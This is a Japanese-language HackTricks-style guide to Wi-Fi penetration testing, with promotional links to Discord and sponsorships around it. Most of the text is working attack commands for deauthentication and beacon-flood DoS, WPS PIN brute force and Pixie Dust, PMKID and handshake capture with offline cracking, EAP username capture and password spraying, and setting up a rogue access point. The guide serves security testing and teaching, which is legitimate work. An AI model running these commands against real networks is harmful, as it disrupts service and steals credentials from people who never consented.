# Wifiペネトレーションテスト
AWSハッキングをゼロからヒーローまで学ぶ htARTE (HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**PEASSファミリー**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう!
**ハッキングの洞察**\
ハッキングのスリルと挑戦に焦点を当てたコンテンツに参加する
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、速いペースで変化するハッキングの世界を最新の状態に保つ
**最新の発表**\
新しいバグバウンティの開始と重要なプラットフォームの更新情報を入手する
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーと協力しましょう!**
## Wifi基本コマンド
```bash
ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
```
## ツール
### EAPHammer
```
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
```
### Airgeddon
```bash
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
```
**Dockerを使用してairgeddonを実行する**
```bash
docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon
```
### wifiphisher
Evil Twin、KARMA、Known Beacons攻撃を実行し、フィッシングテンプレートを使用してネットワークの実際のパスワードを取得したり、ソーシャルネットワークの認証情報をキャプチャしたりすることができます。
```bash
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies
```
### [Wifite2](https://github.com/derv82/wifite2)
このツールは、**WPS/WEP/WPA-PSK** 攻撃を自動化します。以下の作業を自動的に行います:
* インターフェースをモニターモードに設定
* 可能なネットワークをスキャン - 被害者を選択させる
* WEPの場合 - WEP攻撃を開始
* WPA-PSKの場合
* WPSの場合:Pixie dust攻撃とbruteforce攻撃(bruteforce攻撃は時間がかかる可能性があるので注意)。null PINやデータベース/生成されたPINを試さないことに注意。
* APからPMKIDをキャプチャしてクラックを試みる
* APのクライアントをdeauthenticateしてハンドシェイクをキャプチャする
* PMKIDまたはハンドシェイクがある場合、top5000のパスワードを使用してbruteforceを試みる。
## 攻撃の概要
* **DoS**
* Deauthentication/disassociation -- 全員(または特定のESSID/クライアント)を切断
* ランダムな偽AP -- ネットを隠し、スキャナーをクラッシュさせる可能性
* APを過負荷 -- APを停止させようとする(通常あまり役に立たない)
* WIDS -- IDSで遊ぶ
* TKIP, EAPOL -- 一部のAPをDoSする特定の攻撃
* **クラッキング**
* **WEP** をクラック(複数のツールと方法)
* **WPA-PSK**
* **WPS** pin "Brute-Force"
* **WPA PMKID** bruteforce
* \[DoS +] **WPA handshake** キャプチャ + クラッキング
* **WPA-MGT**
* **ユーザー名キャプチャ**
* **Bruteforce** 認証情報
* **Evil Twin** (DoSありまたはなし)
* **Open** Evil Twin \[+ DoS] -- キャプティブポータルの認証情報をキャプチャしたり、LAN攻撃を行うのに役立つ
* **WPA-PSK** Evil Twin -- パスワードを知っている場合、ネットワーク攻撃に役立つ
* **WPA-MGT** -- 企業の認証情報をキャプチャするのに役立つ
* **KARMA, MANA**, **Loud MANA**, **Known beacon**
* **+ Open** -- キャプティブポータルの認証情報をキャプチャしたり、LAN攻撃を行うのに役立つ
* **+ WPA** -- WPAハンドシェイクをキャプチャするのに役立つ
## DOS
### Deauthenticationパケット
この種の攻撃が行われる最も一般的な方法は、**deauthentication** パケットを使用することです。これらは、デバイスをアクセスポイントから切断するための「管理」フレームの一種です。これらのパケットを偽造することが、[多くのWi-Fiネットワークをハッキングする](https://null-byte.wonderhowto.com/how-to/wi-fi-hacking/)鍵となります。任意のクライアントをいつでもネットワークから強制的に切断することができます。これがどれほど簡単に行えるかは少し恐ろしいものであり、クラッキングのためのWPAハンドシェイクを収集する際に一般的に行われます。
クラックのために一時的にこの切断を利用するだけでなく、deauthを続けることで、クライアントにネットワークからのように見えるdeauthパケットを連続して送りつける効果があります。これらのフレームは暗号化されていないため、多くのプログラムは管理フレームを偽造してネットワーク上の一つまたは全てのデバイスに送信することを利用しています。\
**説明は** [**こちら**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**から。**
**Aireplay-ngを使用したDeauthentication**
```
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
```
* \-0は認証解除を意味します
* 1は送信する認証解除の数です(複数送信することも可能です);0は連続して送信することを意味します
* \-a 00:14:6C:7E:40:80はアクセスポイントのMACアドレスです
* \-c 00:0F:B5:34:30:30は認証解除するクライアントのMACアドレスです;これが省略された場合はブロードキャスト認証解除が送信されます(常に機能するわけではありません)
* ath0はインターフェース名です
### 切断パケット
切断パケットは、近くのアクセスポイントからノード(ラップトップや携帯電話のような任意のデバイスを意味します)を切断するために使用される別のタイプの管理フレームです。認証解除フレームと切断フレームの違いは主に使用方法にあります。
不正なデバイスを切断したいAPは、デバイスがネットワークから切断されたことを通知するために認証解除パケットを送信しますが、APが電源を切る、再起動する、またはエリアを離れるときには切断パケットが使用されます。
**説明は**[**こちら**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**から。**
**この攻撃はmdk4(モード"d")によって実行できます:**
```bash
# -c
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
```
### **mdk4によるさらなるDOS攻撃**
**[**こちら**](https://en.kali.tools/?p=864)**から。**
**ATTACK MODE b: ビーコンフラッディング**
クライアントに偽のAPを表示するためにビーコンフレームを送信します。これにより、ネットワークスキャナーやドライバーがクラッシュすることがあります!
```bash
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
```
**ATTACK MODE a: 認証サービス拒否**
範囲内の全てのAPに認証フレームを送信します。多数のクライアントが接続すると、いくつかのAPがフリーズしたりリセットされることがあります。
```bash
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
```
**攻撃モード p: SSID プロービングとブルートフォース**
APをプローブし、応答を確認します。SSIDが正しくデクロークされているか、APが送信範囲内にあるかを確認するのに役立ちます。**隠されたSSIDのブルートフォース**も、ワードリストの有無にかかわらず利用可能です。
**攻撃モード m: Michael 対策の悪用**
ランダムパケットを送信するか、別のQoSキューに重複を再注入して、**TKIP AP**上でMichael 対策を誘発します。その結果、APは1分間シャットダウンし、効果的な**DoS**となります。
```bash
# -t of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
```
**ATTACK MODE e: EAPOL Start および Logoff パケットインジェクション**
APに**EAPOL** Start フレームを洪水させて、**偽のセッション**で忙しくさせ、正当なクライアントを扱うことができないようにします。または、偽の EAPOL **Logoff メッセージ**を**注入**してクライアントをログオフさせます。
```bash
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
```
**ATTACK MODE s: IEEE 802.11s メッシュネットワークへの攻撃**
メッシュネットワーク内のリンク管理とルーティングに対する様々な攻撃。隣接ノードやルートを氾濫させ、ブラックホールを作成し、トラフィックを迂回させる!
**ATTACK MODE w: WIDS 混乱**
侵入検知および防止システムを混乱させる/悪用する。クライアントを複数のWDSノードや偽のrogue APにクロス接続する。
```bash
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e -c [-z]
```
**ATTACK MODE f: パケットファジャー**
複数のパケットソースと便利なセットの修飾子を持つシンプルなパケットファジャーです。注意してください!
### **Airggedon**
_**Airggedon**_ は、前述のコメントで提案されたほとんどの攻撃を提供します:
![](<../../.gitbook/assets/image (126).png>)
## WPS
WPSはWi-Fi Protected Setupの略です。これは、ルーターと無線デバイス間の接続をより速く簡単にすることを目的とした無線ネットワークセキュリティ標準です。**WPSは、**WPA**パーソナルまたは**WPA2**パーソナルセキュリティプロトコルで暗号化されたパスワードを使用する無線ネットワークでのみ機能します。WPSは、簡単にクラックできる古いWEPセキュリティを使用する無線ネットワークでは機能しません。([こちら](https://www.digitalcitizen.life/simple-questions-what-wps-wi-fi-protected-setup)から)
WPSは8桁のPINを使用してユーザーがネットワークに接続できるようにしますが、最初に最初の4桁がチェックされ、正しい場合には次の4桁がチェックされます。したがって、最初の半分と次の半分をブルートフォースすることが可能です(可能性は11000通りのみ)。
### WPS ブルートフォース
このアクションを実行するための2つの主要なツールがあります:ReaverとBully。
* **Reaver**は、WPSに対する堅牢で実用的な攻撃として設計されており、さまざまなアクセスポイントとWPS実装に対してテストされています。
* **Bully**は、C言語で書かれたWPSブルートフォース攻撃の**新しい実装**です。元のreaverコードに比べていくつかの利点があります:依存関係が少ない、メモリとCPUのパフォーマンスが向上、エンディアンの正しい処理、より堅牢なオプションセット。
この攻撃は、**8桁のWPS PINコードの弱点**を利用しています。この問題のために、プロトコルは**PINの最初の4桁に関する情報を開示**し、**最後**の桁は**チェックサム**として機能するため、WPS APのブルートフォースが容易になります。\
一部のデバイスには**ブルートフォース保護**が含まれており、通常は攻撃を繰り返し試みる**MACアドレスをブロック**します。その場合、この攻撃の複雑さが増し、PINをテストしながら**MACアドレスをローテーション**する必要があります。
WPSの有効なコードが見つかった場合、BullyとReaverの両方がそれを使用してネットワークを保護するために使用されるWPA/WPA2 PSKを発見するので、必要なときにいつでも接続できます。
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
```
**スマートブルートフォース**
全ての可能性のあるPINを試す前に、**攻撃対象のAPに対して既に発見されたPIN**(製造元のMACに依存する)と**PINソフトウェアによって生成されたPIN**が利用可能かどうかを確認すべきです。
* 既知のPINのデータベースは、同じWPS PINを使用することが知られている特定のメーカーのアクセスポイント用に作られています。このデータベースには、MACアドレスの最初の3オクテットと、そのメーカーにとって非常に可能性の高い対応するPINのリストが含まれています。
* WPS PINを生成するためのいくつかのアルゴリズムがあります。例えば、ComputePINやEasyBoxは、アクセスポイントのMACアドレスを計算に使用します。しかし、ArcadyanアルゴリズムにはデバイスIDも必要です。
### WPS Pixie Dust 攻撃
Dominique Bongardは、一部のAPが秘密であるべき**nonces**(**E-S1**および**E-S2**として知られている)を生成する際に弱い方法を使用していることを発見しました。これらのnoncesが何であるかを解明できれば、APがPINをハッシュで提供しなければならないため、APのWPS PINを簡単に見つけることができます。なぜなら、APはクライアントが悪意のあるAPに接続していないことを証明するために、PINを知っていることを示さなければならないからです。これらのE-S1とE-S2は、基本的にWPS PINを含む「ロックボックスを解除する鍵」です。詳細はこちら:[https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))
基本的に、いくつかの実装では、PINの2つの部分(認証通信中に2つの部分に分解され、クライアントに送信される)を暗号化するためのランダムキーの使用に失敗していたため、オフライン攻撃を使用して有効なPINをブルートフォースできました。
```
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
```
### Null Pin 攻撃
一部の非常に悪い実装では、Null PINを使用して接続を許可していました(非常に奇妙です)。Reaverはこれをテストできます(Bullyはできません)。
```
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
```
### Airgeddon
提案されたすべてのWPS攻撃は、_**airgeddon**_を使用して簡単に実行できます。
![](<../../.gitbook/assets/image (124).png>)
* 5と6は**カスタムPIN**を試すことができます(もしあれば)
* 7と8は**Pixie Dust攻撃**を実行します
* 13は**NULL PIN**をテストすることができます
* 11と12は選択したAPに関連するPINを利用可能なデータベースから**収集**し、ComputePIN、EasyBox、オプションでArcadyanを使用して可能な**PIN**を**生成**します(推奨、なぜならない?)
* 9と10は**すべての可能なPIN**をテストします
## **WEP**
あまりにも壊れていて消え去ったので、ここでは触れません。ただ、_**airgeddon**_にはこの種の保護を攻撃するための"All-in-One"というWEPオプションがあることを知っておいてください。他のツールも同様のオプションを提供しています。
![](<../../.gitbook/assets/image (125).png>)
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう!
**ハッキングの洞察**\
ハッキングのスリルと挑戦に焦点を当てたコンテンツに参加する
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、速いペースで変化するハッキングの世界を最新の状態に保つ
**最新のアナウンス**\
最新のバグバウンティの開始と重要なプラットフォームの更新情報を入手する
**今すぐ** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **に参加して、トップハッカーとのコラボレーションを始めましょう!**
## WPA/WPA2 PSK
### PMKID
2018年にhashcatの著者は、**単一のパケット**にのみ依存するだけでなく、ターゲットAPに接続されているクライアントが不要で、攻撃者とAPの間の通信だけで済む新しいタイプの攻撃を[公開](https://hashcat.net/forum/thread-7717.html)しました。
多くの現代のルーターは、誰かが関連付けを行っているときにAP自体によって送信される**最初のEAPOL**フレームの最後に**オプショナルフィールド**を追加することがわかりました。これは`Robust Security Network`と呼ばれ、`PMKID`と呼ばれるものを含んでいます。
元の投稿で説明されているように、**PMKID**は私たちが知っているデータを使用して導出されます:
```
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
```
**「PMK Name」という文字列は一定であり、APとステーションのBSSIDを知っていて、`PMK`は完全な4ウェイハンドシェイクから得られたものと同じであるため**、これはhashcatがPSKをクラックし、パスフレーズを回復するために必要なすべてです!\
説明は[こちら](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)から取得しました。
この情報を**収集**し、パスワードをローカルで**ブルートフォース**するには:
```bash
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
```
```bash
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
```
**キャプチャされたPMKID** は **コンソール** に表示され、\_**/tmp/attack.pcap**\_ 内にも**保存**されます。\
次に、キャプチャを **hashcat/john** 形式に変換してクラックします:
```bash
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```
正しいハッシュの形式には**4つの部分**が含まれていることに注意してください。例えば: _4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7\*566f6461666f6e65436f6e6e6563743034383131343838_\
\_\_もし**3つの部分**のみを含む場合、それは**無効**です(PMKIDキャプチャが有効ではありませんでした)。
`hcxdumptool`は**ハンドシェイクもキャプチャ**することに注意してください(以下のようなものが表示されます: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**)。**ハンドシェイク**を**hashcat**/**john**形式に**変換**するには、`cap2hccapx`を使用できます。
```bash
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
```
このツールでキャプチャした一部のハンドシェイクは、正しいパスワードを知っていてもクラックできないことがありました。可能であれば、従来の方法でもハンドシェイクをキャプチャすることをお勧めします。または、このツールを使用して複数のハンドシェイクをキャプチャしてください。
### ハンドシェイクキャプチャ
**WPA/WPA2** ネットワークを攻撃する方法の一つは、**ハンドシェイク**をキャプチャして、使用されているパスワードを**オフライン**で**クラック**することです。これを行うには、**被害者**ネットワークの **BSSID** と **チャンネル**、そしてネットワークに接続している**クライアント**を見つける必要があります。\
その情報を得たら、その**BSSID**のその**チャンネル**でのすべての通信を**監視**を開始する必要があります。なぜなら、ハンドシェイクがそこに送信されることを期待しているからです:
```bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
```
**クライアント**を数秒間**デオーセンティケート**する必要があります。そうすると、クライアントは自動的にAPに再認証します(クライアントをデオーセンティケートするいくつかの方法を見つけるために、DoSの部分を読んでください):
```bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, not always work
```
クライアントが認証解除されたため、異なるAPや、場合によっては異なるネットワークに接続しようとする可能性があります。
`airodump-ng` にハンドシェイク情報が表示されたら、ハンドシェイクがキャプチャされたことを意味し、リスニングを停止できます:
![](<../../.gitbook/assets/image (172) (1).png>)
ハンドシェイクがキャプチャされたら、`aircrack-ng` で**クラック**することができます:
```
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
```
### ファイル内のハンドシェイクを確認する
**aircrack**
```bash
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
```
**tshark**
```bash
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
```
[**cowpatty**](https://github.com/roobixx/cowpatty)
```
cowpatty -r psk-01.cap -s "ESSID" -f -
```
_このツールは完了したハンドシェイクよりも未完了のハンドシェイクを先に見つけた場合、有効なハンドシェイクを検出しません。_
**pyrit**
```bash
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze
```
## **WPA Enterprise (MGT)**
企業Wifiが使用可能な**異なる認証方法**について説明することが重要です。この種のWifiでは、`airodump-ng`で次のようなものが見つかるでしょう:
```
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
```
**EAP** (Extensible Authentication Protocol) は**認証通信**の**骨格**であり、その上でサーバーが**クライアント**(**サプリカント**)を認証するために使用する**認証アルゴリズム**があり、場合によってはクライアントがサーバーを認証するためにも使用されます。
主に使用される認証アルゴリズムは以下の通りです:
* **EAP-GTC:** EAP-PEAPでハードウェアトークンとワンタイムパスワードの使用をサポートするためのEAPメソッドです。MSCHAPv2に似ていますが、ピアチャレンジは使用せず、代わりにパスワードが**プレーンテキスト**でアクセスポイントに送信されます(ダウングレード攻撃に非常に興味深い)。
* **EAP-MD-5 (Message Digest)**: クライアントはパスワードのMD5ハッシュを送信します。**推奨されません**:辞書攻撃に弱く、サーバー認証がなく、セッションごとの有線同等プライバシー(WEP)キーを生成する方法がありません。
* **EAP-TLS (Transport Layer Security)**: **クライアント側とサーバー側の証明書**に依存して認証を行い、その後の通信を保護するためにユーザーベースおよびセッションベースのWEPキーを動的に生成することができます。
* **EAP-TTLS (Tunneled Transport Layer Security)**: 暗号化されたチャネル(またはトンネル)を介してクライアントとネットワークの**相互認証**を行い、ユーザーごと、セッションごとのWEPキーを導出する手段を提供します。EAP-TLSとは異なり、**EAP-TTLSはサーバー側の証明書のみを必要とします(クライアントは資格情報を使用します)**。
* **PEAP (Protected Extensible Authentication Protocol)**: EAPプロトコルのようですが、通信を保護するために**TLSトンネル**を作成します。その後、弱い認証プロトコルをEAPの上で使用できますが、トンネルによって保護されます。
* **PEAP-MSCHAPv2**: これは一般的に**PEAP**として知られています。これは、PEAPの上での脆弱なチャレンジ/レスポンスであるMSCHAPv2です(TLSトンネルによって保護されています)。
* **PEAP-EAP-TLS または単に PEAP-TLS**: **EAP-TLS**に非常に似ていますが、証明書が交換される前にTLSトンネルが作成されます。
これらの認証方法に関する詳細情報は[こちら](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol)と[こちら](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html)で見つけることができます。
### ユーザー名のキャプチャ
[https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27)を読むと、**EAP**を使用している場合、**"Identity"** **メッセージ**は**サポートされる**必要があり、**ユーザー名**は**"Response Identity"** メッセージで**クリア**で送信されることがわかります。
最も安全な認証方法の一つである**PEAP-EAP-TLS**を使用していても、EAPプロトコルで送信される**ユーザー名をキャプチャする**ことが可能です。これを行うには、**認証通信をキャプチャ**します(チャネル内で`airodump-ng`を開始し、同じインターフェースで`wireshark`を使用します)し、パケットを`eapol`でフィルタリングします。\
"**Response, Identity**" パケットの中に、クライアントの**ユーザー名**が表示されます。
![](<../../.gitbook/assets/image (150).png>)
### 匿名ID
(情報は[https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)から取得)
**EAP-PEAPとEAP-TTLSは両方ともIDの隠蔽をサポートしています**。WiFi環境では、アクセスポイント(AP)は通常、関連付けプロセスの一部としてEAP-Identityリクエストを生成します。匿名性を保つために、ユーザーのシステム上のEAPクライアントは、最初のホップRADIUSサーバーがリクエストを処理するのに十分な情報のみを応答する場合があります。以下に例を示します。
* _**EAP-Identity = anonymous**_
> この例では、すべてのユーザーが擬似ユーザー名「anonymous」を共有します。最初のホップRADIUSサーバーはEAP-PEAPまたはEAP-TTLSサーバーであり、PEAPまたはTTLSプロトコルのサーバー側を駆動します。その後、内部(保護された)認証タイプはローカルで処理されるか、リモート(ホーム)RADIUSサーバーにプロキシされます。
* _**EAP-Identity = anonymous@realm_x**_
> この例では、異なるレルムに属するユーザーは自分のIDを隠しますが、最初のホップRADIUSサーバーがEAP-PEAPまたはEAP-TTLSリクエストをホームレルムのRADIUSサーバーにプロキシするために、どのレルムに属しているかを示します。最初のホップサーバーは純粋なRADIUSリレーノードとして機能します。
>
> 代わりに、最初のホップサーバーはEAP-PEAPまたはEAP-TTLSサーバーとして機能し、保護された認証方法を処理するか、別のサーバーにプロキシすることができます。このオプションは、異なるレルムに対して異なるポリシーを設定するために使用される場合があります。
EAP-PEAPでは、PEAPサーバーとPEAPクライアントがTLSトンネルを確立すると、PEAPサーバーはEAP-Identityリクエストを生成し、TLSトンネルを通じて送信します。クライアントは、この2番目のEAP-Identityリクエストに応答して、ユーザーの真のIDを含むEAP-Identityレスポンスを暗号化されたトンネルを通じて送信します。これにより、802.11トラフィックを盗聴している人がユーザーの真のIDを発見することを防ぎます。
EAP-TTLSは少し異なる方法で動作します。EAP-TTLSでは、クライアントは通常、TLSトンネルによって保護されたPAPまたはCHAPを介して認証します。この場合、クライアントは、トンネルが確立された後に送信される最初のTLSメッセージにUser-Name属性とPasswordまたはCHAP-Password属性を含めます。
いずれのプロトコルでも、PEAP/TTLSサーバーはTLSトンネルが確立されると、ユーザーの真のIDを学習します。真のIDは、_**user@realm**_または単に_**user**_の形式である場合があります。PEAP/TTLSサーバーが_**user**_を認証している場合、ユーザーのIDを知っているので、TLSトンネルによって保護されている認証方法を進めます。または、PEAP/TTLSサーバーは新しいRADIUSリクエストをユーザーのホームRADIUSサーバーに転送する場合があります。この新しいRADIUSリクエストは、PEAPまたはTTLSプロトコルを剥がされています。保護された認証方法がEAPの場合、内部EAPメッセージはEAP-PEAPまたはEAP-TTLSラッパーなしでホームRADIUSサーバーに送信されます。発信RADIUSメッセージのUser-Name属性には、受信RADIUSリクエストの匿名User-Name属性ではなく、ユーザーの真のIDが含まれます。保護された認証方法がPAPまたはCHAPである場合(TTLSのみがサポート)、TLSペイロードから回復されたUser-Nameおよびその他の認証属性は、受信RADIUSリクエストに含まれる匿名User-NameおよびTTLS EAP-Message属性の代わりに発信RADIUSメッセージに配置されます。
### EAP-Bruteforce (パスワードスプレー)
クライアントが**ユーザー名とパスワード**を使用することが予想される場合(**EAP-TLSはこの場合には有効ではない**ことに注意してください)、**ユーザー名**の**リスト**と**パスワード**を取得し、[**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)を使用してアクセスを**ブルートフォース**することができます。
```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
```
この攻撃は `eaphammer` を使用しても実行できます:
```bash
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt
```
## クライアント攻撃理論
### ネットワーク選択とローミング
802.11プロトコルは、ステーションがESSに参加する方法について非常に具体的なルールを定めていますが、ステーションが接続するESSをどのように選択すべきかについては規定していません。さらに、プロトコルはステーションが同じESSIDを共有するアクセスポイント間で自由にローミングすることを許可しています(建物の一方の端から他方の端へ歩いているときにWiFi接続を失いたくないなどの理由から)。しかし、これらのアクセスポイントがどのように選択されるべきかについては802.11プロトコルでは規定されていません。さらに、ステーションがアクセスポイントに関連付けるためにはESSに対して認証されている必要がありますが、アクセスポイントがステーションに対して認証される必要は802.11プロトコルでは求められていません。
### 優先ネットワークリスト(PNL)
ステーションが無線ネットワークに接続するたびに、そのネットワークのESSIDはステーションの優先ネットワークリスト(PNL)に保存されます。PNLは、ステーションが過去に接続したすべてのネットワークの順序付けられたリストであり、PNLの各エントリにはネットワークのESSIDと接続を確立するために必要なネットワーク固有の設定情報が含まれています。
### パッシブスキャン
インフラストラクチャネットワークでは、アクセスポイントは定期的にビーコンフレームを送信して、近くのステーションに自身の存在と能力を広告します。ビーコンはブロードキャストフレームであり、範囲内のすべての近くのステーションに受信されることを意図しています。ビーコンには、APのサポートするレート、暗号化機能、追加情報が含まれており、最も重要なこととして、ビーコンフレームにはESSID放送が無効にされていない限り、APのESSIDが含まれています。
パッシブスキャン中、クライアントデバイスは近くのアクセスポイントからのビーコンフレームを待ち受けます。クライアントデバイスがESSIDフィールドがクライアントのPNLのESSIDと一致するビーコンフレームを受信すると、クライアントはそのビーコンフレームを送信したアクセスポイントに自動的に接続します。次に、現在無線に接続していない無線デバイスをターゲットにしたいとします。そのクライアントのPNLの少なくとも1つのエントリを知っていれば、そのエントリのESSIDで自分のアクセスポイントを作成することによって、クライアントを自分たちに接続させることができます。
### アクティブプロービング
802.11で使用される2番目のネットワーク選択アルゴリズムはアクティブプロービングとして知られています。アクティブプロービングを使用するクライアントデバイスは、範囲内にどのAPが存在するか、およびその能力が何であるかを判断するために、継続的にプローブリクエストフレームを送信します。プローブリクエストには、指向性とブロードキャストの2種類があります。指向性プローブリクエストは特定のESSIDに対してアドレス指定されており、クライアントが特定のネットワークが近くにあるかどうかを確認する方法です。
指向性プロービングを使用するクライアントは、PNL内の各ネットワークに対してプローブリクエストを送信します。指向性プロービングは、近くにある隠されたネットワークの存在を特定する唯一の方法であることに注意すべきです。ブロードキャストプローブリクエストはほぼ同じ方法で機能しますが、SSIDフィールドをNULLに設定して送信されます。これにより、ブロードキャストプローブは近くのすべてのアクセスポイントにアドレス指定され、ステーションがPNLの内容を明らかにすることなく、優先ネットワークが近くにあるかどうかを確認することができます。
## インターネットへのリダイレクションを伴うシンプルなAP
より複雑な攻撃を実行する方法を説明する前に、単に**AP**を**作成**し、その**トラフィック**を**インターネット**に接続されたインターフェースに**リダイレクト**する**方法**について説明します。
`ifconfig -a`を使用して、APを作成するためのwlanインターフェースとインターネットに接続されたインターフェースが存在することを確認します。
### DHCP & DNS
```bash
apt-get install dnsmasq #Manages DHCP and DNS
```
設定ファイル _/etc/dnsmasq.conf_ を以下のように作成します:
```
interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
```
その後、**IPを設定**し、**ルートを設定**します:
```
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
```
そして、**start** dnsmasq:
```
dnsmasq -C dnsmasq.conf -d
```
### hostapd
```
apt-get install hostapd
```
